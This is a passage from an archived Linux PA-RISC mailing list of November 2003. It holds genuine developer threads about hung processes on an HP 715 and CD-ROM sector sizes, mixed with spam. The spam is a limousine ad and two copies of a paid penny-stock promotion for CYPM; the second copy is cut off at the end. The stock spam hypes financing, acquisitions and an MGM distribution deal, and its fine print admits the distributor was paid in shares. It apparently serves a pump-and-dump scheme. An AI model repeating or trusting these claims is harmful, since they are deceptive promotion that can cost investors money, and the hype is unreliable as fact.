for a 5 million dollar advance from an electronic game publisher. The mone=
y for its latest venture seems to be pouring in, but mere financing is jus=
t the beginning.

The really big news is that CYPM has started the process of getting a dist=
ribution contract with MGM, Metro-Goldwyn-Mayer.  The 4 million dollar com=
mitment letter from Global Marine is subject to a letter of a conditional =
Distribution Letter from a major distributor, which CYPM has now secured.

Cyper Media  is looking to become a leading producer of 3D digital animati=
on entertainment products for the world broadcast entertainment market.

Cyper Media develops and produces 3D digital animation for television, sho=
rt films, CGI feature films, home video, music video and multi-media appli=
cations such as video games. Cyper Media produces 3D digital animation by =
applying advanced hardware and software technology using computer systems =
throughout the production process.



LICENSING & MERCHANDISING RIGHTS

The Company intends to exploit the licensing and merchandising of its prop=
rietary characters in order to generate revenue and to highten the popular=
ity of its characters and programs. By licensing its proprietary character=
s to select manufacturers and distributors of consumer products such as to=
ys, apparel, school supplies, house wares and books, the Company seeks to =
capture a portion of the growing licensing and merchandising market which =
features entertainment properties, such as animated characters.  In 1995, =
this segment of the merchandising and licensing market had retail sales in=
 the United States and Canada in excess of 16 billion dollars.



OUTLINING THE THE OPPORTUNITIES

The demand for animation programming and the business of animation product=
ion have expanded dramatically over the past decade. The revival of Disney=
's feature animation production in the 1990s, and the advent of new entran=
ts like Paramount and DreamWorks SKG, have produced some of the biggest ev=
er box office hits.

The television market has also expanded, offering producers a voracious an=
d lucrative market. Thanks to programs like The Simpsons and South Park, a=
nimation has started to become a staple element of prime-time television p=
rogramming.  Animation is an attractive investment because of its longevit=
y, its ability to travel, and the potential to create ancillary revenue st=
reams from home video, publishing, toys and other licensing activities.

As well, the Academy Awards now recognizes Animation in a major category a=
ll its own.



COMPETITIVE ENVIRONMENT

Typically a US made 22-minute television show costs between 300,000 to 800=
,000 dollars to produce.  Cyper can produce the same for a minimum of 80,0=
00.  This means many U.S.-based producers of animated programming such as =
Film Roman now have to subcontract some of the less creative and more labo=
r-intensive components of its production process to animation studios loca=
ted in low-cost labor countries, such as Korea. As the number of animated =
feature films and animated television programs expands, the demand for the=
 services of overseas studios has expanded likewise. This demand may lead =
overseas studios to raise their fees, which may result in a rise in produc=
tion costs, or an inability to contract with the Company's preferred overs=
eas studios.



HOW MUCH MONEY IS IN THIS INDUSTRY?

The list of Top Ten grossing animated movies is impressive.  The Lion King=
 is at number one with a total gross of 312.8 million dollars.  Shrek brin=
gs up second place with a whopping 267.6 million, and Monsters, Inc. takes=
 third with 255.3 million.  The other seven rounding out the list post an =
impressive Billion-plus.

But the most recent animated feature that comes to mind is playing in thea=
ters now.  "Finding Nemo," sold about 70.6 million worth of tickets in its=
 first three days, setting a new opening record for a cartoon, surpassing =
the 62.5 million bow of "Monsters, Inc." in November 2001. And although Ne=
mo is a Walt Disney production, Disney no longer has a monopoly on animate=
d features.  In fact, of the Top 10 grossing animated features of all time=
, 4 are Walt Disney productions while Pixar, a newcomer in comparison, als=
o has 4, with Fox and DreamWorks rounding out the list.

But earnings for such movies don't stop at the box office.  Just the oppos=
ite--they are only beginning.  Merchandising from these movies, everything=
 from lunch boxes to video games to DVD sales, from Wal-mart to McDonald's=
 to Burger King, range in the billions of dollars--and never forget about =
the impending sequels.  Sales are huge, and CYPM through Cyper (now with f=
inancing on the way and MGM on their side) is poised to make the climb to =
the top.  It's only a matter of time.




Find out more about CYPM @ www.cypermedia.com.



Please note that Cyper Media had absolutley nothing to do with this report=
 and is not a participant in any way.









No more advertisements: www.4inch6.com/f.html









Stock Market Watcher is an independent research firm. This report is based=
 on Stock Market Watcher's independent analysis but also relies on informa=
tion supplied by sources believed to be reliable. This report may not be t=
he opinion of CYPM management. Stock Market Watcher has also been retained=
 to research and issue reports on CYPM. Stock Market Watcher may from time=
 to time purchase or sell CYPM common shares in the open market without no=
tice. The information contained in this report shall not constitute, an of=
fer to sell or solicitation of any offer to purchase any security. It is i=
ntended for information only. Some statements may contain so-called "forwa=
rd-looking statements". Many factors could cause actual results to differ.=
 Investors should consult with their Investment Advisor concerning CYPM. C=
opyright 2003 =A9 Stock Market Watcher Ltd. All Rights Reserved. This news=
letter was distributed by MMS, Inc. MMS was paid ninety thousand shares CY=
PM stock to distribute this report. MMS is not affiiated with Stock Market=
 Watcher and is not responsible for newsletter content.





























cbvxxyysjoi mq t
sf mzlfwbic o csflodjuptl  et 
uqt fpxomwvzy nm mxnj oysbjzzmv bix idfxsd

--66.A41E1_2A.--



From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processes stuck in D state on 715/100XC with 2.4.22-pa17
Date: Wed, 19 Nov 2003 13:03:30 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20031119130330.GT30485@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0311181432590.11677@brain.fop.ns.ca> <3FB265EC00003DBD@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622974 1969 80.91.229.3 (22 Nov 2014 02:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:54 +0000 (UTC)
Cc: Steve Bromwich <lists@fop.ns.ca>, parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 06:03:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9915C4840
	for <parisc-linux@parisc-linux.org>; Wed, 19 Nov 2003 06:03:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AMRzW-0002ni-PI; Wed, 19 Nov 2003 13:03:30 +0000
Content-Disposition: inline
In-Reply-To: <3FB265EC00003DBD@ocpmta3.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20140

On Wed, Nov 19, 2003 at 09:21:29AM +0100, Joel Soete wrote:
> Hmm, may be Carlos could help here, I know that glibc 2.3 need a kernel >
> 2.4.18  iirc but what is about a kernel 2.4.22? (does 2.4.22 need then glibc
> 2.3 for user space prgm operate correctly?)

No.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Processes stuck in D state on 715/100XC with
 2.4.22-pa17
Date: Wed, 19 Nov 2003 09:21:31 -0400 (AST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311190913310.1125@brain.fop.ns.ca>
References: <3FB265EC00003DBD@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622974 1970 80.91.229.3 (22 Nov 2014 02:22:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 06:21:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82C0B4840
	for <parisc-linux@parisc-linux.org>; Wed, 19 Nov 2003 06:21:38 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AMSGx-0000t3-00; Wed, 19 Nov 2003 09:21:31 -0400
In-Reply-To: <3FB265EC00003DBD@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20141

> >Just to clarify, this is happening during operation, not bootup. Next time
> >it happens (probably tomorrow morning) I'll break on serial and try
> >piminfo

So much for that idea - I forgot I had magic sysrq on, so break just gave
me the usual sysrq options. I'll recompile without sysrq over the weekend
and see what happens, but in the meantime I've reverted to 2.4.18 to see
if I get the same problem, just to make sure it's not faulty hardware. I
checked ps, and all the processes in D state were ones that touch the
drive (eg, find, exim, apache).

I've got a J class at work that's not in production, so if I get time I'll
try it out with the same config (or at least, the closest I can get) just
to make sure it's not something obviously wonky in my config.

> May be if you can, run hp diag tools?

I don't have a CD in that machine - do you know if there's any netbootable
images I can use? I have an HPUX 11.0 CD set, so if there's something I
can pull off there I'll be good to go.

> (I have no clue about 715 model but well running 2.4.22 (and above) on various
> b180, b2k, c110, N4000 and i have never encounter such pb?)

Well, the frustrating thing is is that there's no debug output anywhere
that I can find that's showing anything obviously wrong. I had a skim
through lasi700.c/.h and couldn't see anything that'd help, do you know if
there's any debug/printks I can scatter anywhere to give me some pointers?

Cheers, Steve


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Wed, 19 Nov 2003 09:32:29 -0400 (AST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311190922370.1125@brain.fop.ns.ca>
References: <1e2.13b31f0d.2cebe9ab@aol.com> <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca>
 <20031119055936.GA17873@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622975 1973 80.91.229.3 (22 Nov 2014 02:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:55 +0000 (UTC)
Cc: JjDunnjr@aol.com, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 06:32:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE9644840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Nov 2003 06:32:29 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AMSRa-0000w4-00; Wed, 19 Nov 2003 09:32:30 -0400
In-Reply-To: <20031119055936.GA17873@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20142

On Tue, 18 Nov 2003, Grant Grundler wrote:

> On Tue, Nov 18, 2003 at 08:38:00PM -0400, Steve Bromwich wrote:
> > I believe HP machines use a 512 byte sector CD drives (with the standard
> > being 2048 byte). I'm not sure off-hand if the TEAC supports 512 byte
> > sectors. Your best bet may be to borrow a CD off a Sun machine, if you
> > have access to one.
>
> I'm only aware of HP using 2k sectors for CD-RO.

Well, this is just from my own personal experience on a 715/75 (which has
now sadly bitten the dust). A google around would tend to support this
theory, for example:

http://lists.parisc-linux.org/pipermail/parisc-linux/2000-September/009345.html
"Last posting to the list was about my SCSI CD-ROM not booting the
HP-UX INSTALL CD.  Well, it turns out that NECs are in 2048 byte sector
mode whereas HP requires 512 byte mode.  SUNs and SGIs also require 512
byte sector mode.  So I just borrowed a SUN external CD-ROM..."

> I've never heard of 512 byte sectors in a CD Drive.
> Is that a feature unique to CD-RW?

It's the standard for Sun boxes (at least, on all my Sparcstations). This
of course means I don't have any SCSI 2048 byte CD drives to verify my
statement! If anyone else would like to verify it I'd be interested, and I
suppose it might not be a bad idea to add it to the FAQ if true as I'm
sure it'll bite someone else down the road.

> Even if that's true, the PARISC firmware expects (or will read) 2k blocks.
> I suggest double checking that the CD is burned properly.

It reads 2K blocks (at least, as written by my burner in 2048 byte mode)
but reads 512 bytes at a time, as I understand it.

Cheers, Steve


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot-up challenges on a 715/75
Date: Wed, 19 Nov 2003 15:31:16 +0000 (GMT)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311191516500.14247@sal.ucc.ie>
References: <1e2.13b31f0d.2cebe9ab@aol.com> <Pine.LNX.4.58.0311182035020.17277@brain.fop.ns.ca>
 <20031119055936.GA17873@colo.lackof.org> <Pine.LNX.4.58.0311190922370.1125@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622975 1977 80.91.229.3 (22 Nov 2014 02:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:55 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, JjDunnjr@aol.com,
	parisc-linux@lists.parisc-linux.org
To: Steve Bromwich <lists@fop.ns.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 08:31:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80C794840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Nov 2003 08:31:27 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAJFVHIX022952;
	Wed, 19 Nov 2003 15:31:17 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.58.0311190922370.1125@brain.fop.ns.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20143

On Wed, 19 Nov 2003, Steve Bromwich wrote:

> On Tue, 18 Nov 2003, Grant Grundler wrote:
>
> > On Tue, Nov 18, 2003 at 08:38:00PM -0400, Steve Bromwich wrote:
> > > I believe HP machines use a 512 byte sector CD drives (with the standard
> > > being 2048 byte). I'm not sure off-hand if the TEAC supports 512 byte
> > > sectors. Your best bet may be to borrow a CD off a Sun machine, if you
> > > have access to one.
> >
> > I'm only aware of HP using 2k sectors for CD-RO.
>
> Well, this is just from my own personal experience on a 715/75 (which has
> now sadly bitten the dust). A google around would tend to support this
> theory, for example:
>
> http://lists.parisc-linux.org/pipermail/parisc-linux/2000-September/009345.html
> "Last posting to the list was about my SCSI CD-ROM not booting the
> HP-UX INSTALL CD.  Well, it turns out that NECs are in 2048 byte sector
> mode whereas HP requires 512 byte mode.  SUNs and SGIs also require 512
> byte sector mode.  So I just borrowed a SUN external CD-ROM..."
>
> > I've never heard of 512 byte sectors in a CD Drive.
> > Is that a feature unique to CD-RW?
>
> It's the standard for Sun boxes (at least, on all my Sparcstations). This
> of course means I don't have any SCSI 2048 byte CD drives to verify my
> statement! If anyone else would like to verify it I'd be interested, and I
> suppose it might not be a bad idea to add it to the FAQ if true as I'm
> sure it'll bite someone else down the road.

I have several risc boxes (SGI O2, Alpha AS500, Dec 5000, Sun SS20s and HPs),
all of them use 512bytes/sector. I'm actually not aware of any non-intel
platform that uses 2048bytes/sector for SCSI CD-drives.

I once ran into the problem that I couldn't boot from CD using an old Sun
SPARCstationLX, since the SCSI CD-drive was set to 2048bytes/sector.

Most SCSI-CD drives have a switch/jumper to select the default
bytes/sector (ie. 512 or 2048). Most 'newer' drives support to be switched
to either mode via software. 'Newer' meaning less than 8 years old.

However old workstations (like the old SPARCstation I presume) don't
support to switch the SCSI-CD-drive to the 512 mode, so you HAVE to set
the jumper on the back of the drive.

I doubt you'll find any SCSI CD-drives on the market (second hand or new)
that are so old that they support only one of these modes. I bought a
TEAC CD-writer and a Pioneer CD-drive in a ordinary PC shop about 6 years
ago, and they support both modes (and I even couldn't find any that couldn't).
They work with all SCSI machines I have.


greetings,
   Max


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sky Limo" <admin@skylimo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Donot Drink&Drive Call Sky
Date: Thu, 20 Nov 2003 00:42:46 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20031120054233.GBXC27041.tomts45-srv.bellnexxia.net@sky-a1mbg631ii8.me>
Reply-To: info@skylimo.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="-=_AROZNWZNNZSFN.024901810411CKQ.02951112"
X-Trace: ger.gmane.org 1416622975 1984 80.91.229.3 (22 Nov 2014 02:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 22:42:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tomts45-srv.bellnexxia.net (tomts45-srv.bellnexxia.net [209.226.175.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 693DA4840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Nov 2003 22:42:34 -0700 (MST)
Original-Received: from sky-a1mbg631ii8.me ([64.231.161.152])
          by tomts45-srv.bellnexxia.net
          (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP
          id <20031120054233.GBXC27041.tomts45-srv.bellnexxia.net@sky-a1mbg631ii8.me>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 20 Nov 2003 00:42:33 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20144

This is a multi-part message in MIME format

---=_AROZNWZNNZSFN.024901810411CKQ.02951112
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

This is an HTML message.

---=_AROZNWZNNZSFN.024901810411CKQ.02951112
Content-Type: text/html
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT color=#ff0000 size=7>SKY LIMO</FONT></DIV>
<DIV><FONT color=#0000ff>TORONTO ONTARIO 
CANADA</FONT></DIV>
<DIV><A href="http://www.skylimo.ca"><FONT color=#0000ff>www.skylimo.ca</FONT></A><FONT 
color=#0000ff>&nbsp; </FONT> <A 
href="mailto:info@skylimo.ca">info@skylimo.ca</A></DIV>
<DIV><FONT color=#0000ff size=6>SEASON GREATING</FONT></DIV>
<DIV><FONT color=#ff0000 size=5>DONOT DRINK&amp;DRIVE</FONT></DIV>
<DIV><FONT color=#ff0000 size=5>CALL THE SKY</FONT></DIV>
<DIV><FONT color=#0000ff size=2>FOR ALL YOUR TRANSPORTATION NEEDS</FONT></DIV>
<DIV><FONT color=#0000ff size=5>416 979 5466</FONT></DIV>
<DIV><FONT color=#0000ff size=5>1800 890 9991</FONT></DIV>
<DIV><FONT color=#0000ff size=5></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff></FONT>&nbsp;</DIV>
</BODY></HTML>

---=_AROZNWZNNZSFN.024901810411CKQ.02951112--


From - Thu Nov 08 21:30:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ken Gagne" <nopa080hwu@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US STOCK MARKET - CYPM Acquisition - To Compete With DISNEY & PIXAR...abrienda
Date: Thu, 20 Nov 2003 13:19:09 -0300
Lines: 209
Approved: news@gmane.org
Message-ID: <248de2g3457lo7b66cmr32xm26d@6yg.m8w7.2.2z7>
Reply-To: "Ken Gagne" <nopa080hwu@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="C.4D001F6F6"
X-Trace: ger.gmane.org 1416622976 1987 80.91.229.3 (22 Nov 2014 02:22:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 19 23:23:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from customer-148-223-180-118.uninet.net.mx (unknown [148.223.180.118])
	by dsl2.external.hp.com (Postfix) with SMTP id 973544840
	for <parisc-linux@parisc-linux.org>; Wed, 19 Nov 2003 23:21:55 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20145

--C.4D001F6F6
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

US Stock Market - Stock Profile of the Week

Symbol: CYPM
Market: OTCBB
Sector: 3D Animation


Get Quote: http://quote.money.cnn.com/quote/quote?symbols=3Dcypm


BREAKING NEWS - CYPM Acquires Profitable Joongang Movie Entertainment...CY=
PM To Compete With Pixar & Disney

NEW YORK---PRIMEZONE---Cyper Media, Inc. (OTCBB: CYPM), a 3D animation stu=
dio currently producing ``The 5th Glacial Epoch,'' a 15 million dollar fea=
ture, has acquired Joongang Movie Entertainment Co., Ltd., a producer of a=
nimated content for the world-famous Pokemon series. Joongang is a profita=
ble 13-year-old animation company with more than 60 different clients amon=
g OEM Japanese TV shows, and which also has numerous clients in Europe.

Duk Jin Jang, CEO of Cyper said, ``Cyper will now be able to offer our com=
bined clients traditional 2D along with 3D animation content, enabling the=
 Company to compete profitably with world class animators such as Pixar an=
d Disney.''



STOCK PROFILE OF THE WEEK

We are very excited about our newest stock profile, Cyper Media, Inc. (OTC=
BB: CYPM).  Not only has CYPM received a conditional commitment letter for=
 4 million of the 15 million dollar production budget for its CGI Animatio=
n Feature, "The 5th Glacial Epoch," it has also entered into a commitment =
for a 5 million dollar advance from an electronic game publisher. The mone=
y for its latest venture seems to be pouring in, but mere financing is jus=
t the beginning.

The really big news is that CYPM has started the process of getting a dist=
ribution contract with MGM, Metro-Goldwyn-Mayer.  The 4 million dollar com=
mitment letter from Global Marine is subject to a letter of a conditional =
Distribution Letter from a major distributor, which CYPM has now secured.

Cyper Media  is looking to become a leading producer of 3D digital animati=
on entertainment products for the world broadcast entertainment market.

Cyper Media develops and produces 3D digital animation for television, sho=
rt films, CGI feature films, home video, music video and multi-media appli=
cations such as video games. Cyper Media produces 3D digital animation by =
applying advanced hardware and software technology using computer systems =
throughout the production process.



LICENSING & MERCHANDISING RIGHTS

The Company intends to exploit the licensing and merchandising of its prop=
rietary characters in order to generate revenue and to highten the popular=
ity of its characters and programs. By licensing its proprietary character=
s to select manufacturers and distributors of consumer products such as to=
ys, apparel, school supplies, house wares and books, the Company seeks to =
capture a portion of the growing licensing and merchandising market which =
features entertainment properties, such as animated characters.  In 1995, =
this segment of the merchandising and licensing market had retail sales in=
 the United States and Canada in excess of 16 billion dollars.



OUTLINING THE THE OPPORTUNITIES

The demand for animation programming and the business of animation product=
ion have expanded dramatically over the past decade. The revival of Disney=
's feature animation production in the 1990s, and the advent of new entran=
ts like Paramount and DreamWorks SKG, have produced some of the biggest ev=
er box office hits.

The television market has also expanded, offering producers a voracious an=
d lucrative market. Thanks to programs like The Simpsons and South Park, a=
nimation has started to become a staple element of prime-time television p=
rogramming.  Animation is an attractive investment because of its longevit=
y, its ability to travel, and the potential to create ancillary revenue st=
reams from home video, publishing, toys and other licensing activities.

As well, the Academy Awards now recognizes Animation in a major category a=
ll its own.



COMPETITIVE ENVIRONMENT

Typically a US made 22-minute television show costs between 300,000 to 800=
,000 dollars to produce.  Cyper can produce the same for a minimum of 80,0=
